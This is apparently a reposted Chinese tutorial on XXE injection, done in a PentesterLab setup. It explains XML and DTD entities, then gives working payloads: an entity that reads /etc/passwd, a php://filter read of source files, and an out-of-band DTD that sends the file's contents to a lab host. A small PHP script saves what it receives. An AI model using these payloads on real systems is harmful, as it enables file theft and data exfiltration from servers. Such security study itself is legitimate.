XXE漏洞学习

0x00 XXE漏洞介绍:

背景:2018-7-4 微信支付SDK漏洞(XXE漏洞),攻击者可以获取服务器中目录结构,文件内容,eg:代码,各种 私钥。敏感数据泄露

0x01什么是xxe漏洞:

XXE (XML External Entity injection)XML 外部实体注入漏洞,如果XML 文件在引用外部实体时候,可以沟通构造恶意内容,可以导致读取任意文件,命令执行和对内网的攻击,这就是XXE漏洞.

XML Extwrnal Entity,也就是XML外部实体注入攻击

  1. 漏洞存在于XML中
  2. 外部 漏洞的条件 实体通过SYStem加载外部资源 DTD也可以通过外部应用
  3. ENtity 实体 :漏洞的具体位置 变量
外部引用必须被XML解释器解析才能加载

漏洞的利用过程和SSRF非常类似。漏洞的危害与ssrf几乎一致。

什么是XML?

  1. 可扩展标记语言:标记数据,定义数据类型
  2. 一种标记语言,类似于HTML(由标签组成<>)
  3. 宗旨是传输数据,而非显示数据。html被设计用来显示数据
  4. 标签没有被定义,需要自行定义标签
  5. 被设计为具有自我描述性
  6. 是W3c的推荐标准

区别:
1.XML可自定义标签
2.XML存储或传输数据
3,XML区分大小写
4.XML标签嵌套闭合比较严谨
5.必须要有根元素,如 (最外面的)
6.实体字符 类似于xss eg:<>由< 和 >表示
HTML目的是为了显示数据
元素代表标签:

XXE漏洞学习

XXE漏洞学习
XXE漏洞学习
第一行:定义note元素,定义了里面有to,from,heading,body这四个元素
XXE漏洞学习

ENtity 实体定义:在DTD下面 (实体就是个变量)
<!ENTITY free "nice"> &#x5B9A;&#x4E49;&#x4E86;&#x4E00;&#x4E2A;&#x5B9E;&#x4F53;&#x53EB;free &#xFF0C;free&#x91CC;&#x9762;&#x5B58;&#x4E86;&#x4E2A;nice&#xFF0C;&#x7C7B;&#x4F3C;&#x4E8E;&#x53D8;&#x91CF;&#x7684;&#x4F5C;&#x7528;
调用变量:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
<!ENTITY free "nice"> //&#x5185;&#x90E8;&#x5B9E;&#x4F53;
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>owen is &free;</body>

</note>

调用结果显示如下:

XXE漏洞学习

外部实体需要通过system引用
eg: //通过file协议

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
<!ENTITY free SYSTEM"file:///etc/passwd">
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>owen is &free;</body>

</note>

DTD通过外部引用的方法:(逻辑上可行,实际看情况)

<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

将上述代码写入free.dtd文件中

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note SYSTEM "free.dtd"> //&#x8FD9;&#x91CC;&#x901A;&#x8FC7;system&#x6765;&#x5BF9;free.dtd&#x6587;&#x4EF6;&#x8FDB;&#x884C;&#x52A0;&#x8F7D;
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>owen is &free;</body>

</note>

导致文件读取,泄露服务器上的敏感数据 (前提条件是:XML文档能够被解析)
接下来的代码将展示XML文件如何被解析:

xxe.php文件:
<?php
$xml=file_get_contents("php://input");//**接收用户传过来的XML文档**
//通过php- input来捕获数据流 data ,将捕获到的内容存到xml中
$data = simplexml_load_string($xml) ;
// 把xml文档解析成simple xml element object对象
echo "<pre>" ;
print_r($data) ;
//&#x5C06;&#x89E3;&#x6790;&#x540E;&#x7684;&#x5BF9;&#x8C61;&#x6253;&#x5370;&#x5230;&#x516C;&#x5C4F;
echo "

” ;
?>

如何读取php文件:
php://filiter/read=convert.base64-encode/resource=xxe.php

当没有print_r($data);的情况下,即无回显,该如何解决呢?
解决方法:
1.获取数据,把数据内容保存到变量中 外部实体
2.获取前面取到的数据 (带外)oob

0x03实验环境搭建:

pentester lab(这里我设置的是桥接网络)

XXE漏洞学习

切换到root用户下:

XXE漏洞学习
XXE漏洞学习
然后再物理机上登入该虚拟机网站
XXE漏洞学习

0x04小思考:如何确认该网站存在xxe漏洞?

该网站是否能解析xml?
解决方法:
发送给他一个xml文档,如果该网站解析的话,说明存在xxe漏洞
如果加载了外部资源,说明存在xxe
1.通过bp,先截取数据包

XXE漏洞学习
发到重发器中(删除最低下username和helloo那一行)
XXE漏洞学习

添加xml文档(记得要空出一行)
同时将CONtent-Type中的内容修改成tetx/xml

XXE漏洞学习
返回结果如下,(返回200,说明页面成功显示)
XXE漏洞学习
同时查看bp中的Collaborator
XXE漏洞学习
发现外部资源(dnsLOG)被进行访问了,说明存在xxe漏洞
这里通过构建一个网站,将用户信息记录到txt上(思路)
 <?php
  $pass = $_GET['pass'];
   file_put_contents('pass.txt',$pass);//通过file_put_contents将pass的值记录到pass.txt上
 ?>

0X05实践版:

1.获取数据,把数据内容保存到变量中 外部实体 p1 =passwd(将p1作为参数)
2.OOB获取数据 p2 system http://192.168.1.66/xxe.php?pass = &p1(=passwd)//加载该资源的过程时,调用p1

具体代码实现:
xml文档:

<?xml version="1.0"?>
<!DOCTYPE e1 SYSTEM "http://192.168.1.66/test.dtd">//&#x58F0;&#x660E;&#x4E86;&#x5916;&#x90E8;&#x7684;dtd&#xFF0C;&#x56E0;&#x6B64;&#x8981;&#x5148;&#x5230;1.66&#x53BB;&#x5BFB;&#x627E;dtd&#xFF0C;&#x627E;&#x5230;&#x4EE5;&#x540E;&#x5F00;&#x59CB;&#x8C03;&#x7528;dtd&#x7684;&#x4EE3;&#x7801;
<foo>&e1;</foo>

dtd中代码作用:
1.获取数据,把数据内容保存到变量中 外部实体
2.OOB获取数据
先获取passwd,再将passwd发出去

先创建test.dtd

<!ENTITY %p1 SYSTEM"file:///etc/passwd">
<!ENTITY %p2 <!ENTITY e1 SYSTEM 'http://192.168.1.66/xxe.php?pass=%p1;'>">
%p2;

XXE漏洞学习

然后上传xml文档

XXE漏洞学习
结果存储再pass.txt文件中
XXE漏洞学习

Original: https://www.cnblogs.com/ZZslBl0g/p/16597661.html
Author: ZZslBl0g
Title: XXE漏洞学习

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/578273/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • Python实现经典算法八皇后问题

    递归回溯解八皇后问题 遗传算法解八皇后问题 在8×8格的国际象棋上摆放八个皇后,使其不能互相攻击,即任意两个皇后都不能处于同一行、同一列或同一斜线上,问一共有多少种摆法。 分别用递…

    Linux 2023年6月7日
    0129
  • 搭建部署Docker

    Docker安装准备: 首先看下服务器是否有旧版本,如果有需要卸载并且安装依赖 然后下载docker仓库repo源: 安装完成后查看docker仓库版本信息: yum安装docke…

    Linux 2023年6月8日
    0106
  • fastdfs单节点部署

    安装依赖 ​ yum -y install gcc gcc-c++ libevent 安装libfastcommon 下载地址: https://github.com/happyf…

    Linux 2023年6月8日
    0100
  • Mysql数据库 ALTER 基本操作

    背景: ALTER作为DDL语言之一,工作中经常遇到,这里我们简单介绍一下常见的几种使用场景 新建两个测试表offices 和 employess CREATE TABLE off…

    Linux 2023年6月6日
    0114
  • 对不起

    如果您看到此页面,代表作者并没有完成此链接所指向的博文。请神犇们原谅本蒟蒻,本人承诺将尽快更新。 Original: https://www.cnblogs.com/Grharri…

    Linux 2023年6月6日
    095
  • nslookup:command not found的解决办法

    nslookup:command not found的解决办法 通过nslookup查看DNS记录,在这里遇到了一个小插曲,nslookup:command not found(未…

    Linux 2023年6月7日
    083
  • 分布式系统架构理论与组件

    1.分布式系统的发展 在计算机发展的早期,一直都是集中式计算,计算能力依赖大型计算机。随着互联网的发展,繁重的业务需要巨大的计算能力才能完成,而集中式计算无法满足要求,大型计算机的…

    Linux 2023年6月6日
    0109
  • 请求方式

    题目如下 题目描述为请求方式,HTTP的请求方式一共有八种,读者自行去查 打开靶场如下 题目的意思需要以CTF**B为请求方式,由于平台名为CTFHUB,于是试了一下 接着抓包,推…

    Linux 2023年6月7日
    0106
  • js学习笔记——条件 循环

    今天发现之前学的爱前端的课中JS部分函数等不全,果断换了一个课——渡一的《Web前端开发JavaScript高薪课堂》接着学习,不过废话有点多 语法:1、单if,条件成立,执行语句…

    Linux 2023年6月13日
    072
  • WIN10下启动VMware虚拟机蓝屏的解决办法

    问题: 每次启动虚拟机就会蓝屏,提示错误代码: PAGE_FAULT_IN_NONPAGED_AREA 解决办法: 禁用 Hyper-V 功能 打开”控制面板&#821…

    Linux 2023年6月7日
    085
  • 每周一个linux命令(tar)

    基础环境 tar命令介绍 tar命令是linux非常使用频率非常高的一个命令,比如:离线软件包的解压缩、将一个目录打包备份、将一个压缩包解压到一个指定的目录。tar命令主要用来将一…

    Linux 2023年6月8日
    094
  • 【spring-boot】配置Redis工具类

    如何在spring-boot中使用Redis工具类 修改pom.xml文件 新增spring-boot-starter-data-redis配置 org.springframewo…

    Linux 2023年5月28日
    0105
  • Linux机器在命令行操作时开启/关闭代理

    命令行操作时,如果需要连接通过代理才能访问的地址,可以通过配置当前shell的配置文件来手动开启/关闭代理 注意:代理只对当前用户当前shell生效,切换用户或者重新连接需要重新开…

    Linux 2023年6月6日
    099
  • 【电子取证:FTK Imager篇】FTK Imager制作镜像详细介绍

    以DD镜像制造为例,详细介绍了FTK Imager创建镜像的过程,记得大学的时候学习这些没什么教程,找到的资料也是语焉不详,故在此啰嗦一番—【suy】 一、磁盘镜像制作…

    Linux 2023年6月13日
    01.3K
  • Java引用类型

    1 强引用 当我们使用new创建对象时,被创建的对象就是强引用。只要有强引用,GC 永远不会回收掉该对象。 Map map = new HashMap(); 2 软引用 如果一个对…

    Linux 2023年6月7日
    0110
  • 数字证书工作原理 图文并茂

    SSL证书和HTTPS的关系 HTTPS在HTTP的基础上加入了SSL加密协议,HTTP是明文传输,HTTPS是加密传输。 A quick definition:HTTPS sta…

    Linux 2023年6月6日
    0114
亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球